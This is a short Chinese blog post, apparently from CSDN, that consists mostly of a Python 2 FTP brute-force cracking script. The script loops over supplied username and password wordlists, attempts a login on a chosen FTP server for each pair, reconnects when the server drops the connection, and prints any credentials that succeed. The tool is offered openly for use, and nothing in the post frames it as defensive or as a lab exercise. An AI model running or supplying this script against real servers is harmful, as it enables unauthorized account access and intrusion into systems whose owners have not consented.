写一个ftp破解下工具,可能有不少bug,请自行修改.

#!/usr/bin/env python



import sys

import time

import ftplib

# ================== crack ftp server quickly ==========================

def fast_ftpcrack(ftpobj, user, passwd):

    #'530' ----  530 Login incorrect

    #'230' ----  230 Login successful

    try:

        ftp_ret =  ftpobj.login(user, passwd)

        if '230' in ftp_ret:

            print >>sys.stderr, "%s:%s -- [%s] ****** " % (repr(user),repr(passwd), ftp_ret)

            return True,(user, passwd),'success'

    except ftplib.error_perm as err:

        print >>sys.stderr, "%s:%s -- [%s] " % (repr(user),repr(passwd), err)

        return True,(user, passwd),'falied'

        #continue

    except EOFError as err:

        print >>sys.stderr, "%s:%s -- ftp connection is closed" % (repr(user),repr(passwd))

        return False,(user, passwd),'closed'

    except ftplib.error_temp as err:

        print >>sys.stderr, "%s:%s -- [%s] " % (repr(user),repr(passwd), err)

        return True,(user, passwd),'falied'



def fast_brute(host,ftpuserlist,ftppasslist):

    # get a FTP Instance for crack(not all the time)

    #print >>sys.stderr, " fast crack..............."

    ftp_ = ftplib.FTP(host)

    closed_n = 1



    for ftpuser in ftpuserlist:

            ftpuser = ftpuser.strip()

	    for ftppass in ftppasslist: 

                    ftppass = ftppass.strip()

                   

		    while True:

			ret,user_pass,status = fast_ftpcrack(ftp_, ftpuser, ftppass)

			if ret == False:

                            closed_n += 1

                            print 'ftp is closed, retry: %s ' %  closed_n

			    ftp_ = ftplib.FTP(host)

			elif ret == True:

			    break



            

# ==================== crack ftp server slowly =========================

def slow_brute(host, userlist, passwdlist):

    for user in userlist:

        user = user.strip()

        for passwd in passwdlist:

            passwd = passwd.strip()

            try:

                ftp_ = ftplib.FTP(host)

                ftp_ret = ftp_.login(user, passwd)

                if '230' in ftp_ret:

                    print >>sys.stderr, "%s:%s -- [%s] ****** " % (repr(user),repr(passwd), ftp_ret)

                    #return True,(user, passwd),'success'

            except ftplib.error_perm as err:

                print >>sys.stderr, "%s:%s -- [%s] " % (repr(user),repr(passwd), err)

                pass 

        #return True,(user, passwd),'falied'

 

 

def main():

    ftp_srv   = raw_input('ftp server: ')

    ftp_ul    = raw_input('ftp user wordlist: ')

    ftp_pl    = raw_input("ftp pass wordlist: ")

    starttime = time.time()

    #userlist = ['f123']

    userlist = open(ftp_ul,'r').readlines()

    passlist = open(ftp_pl,'r').readlines()

    fast_brute(ftp_srv, userlist, passlist)

    #slow_brute(ftp_srv, userlist, passlist)

    endtime   = time.time()

    time_ = endtime - starttime

    print '%s - %s  = [%s] is gone' % (starttime, endtime, time_)

   

if __name__=='__main__':

    main()



Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐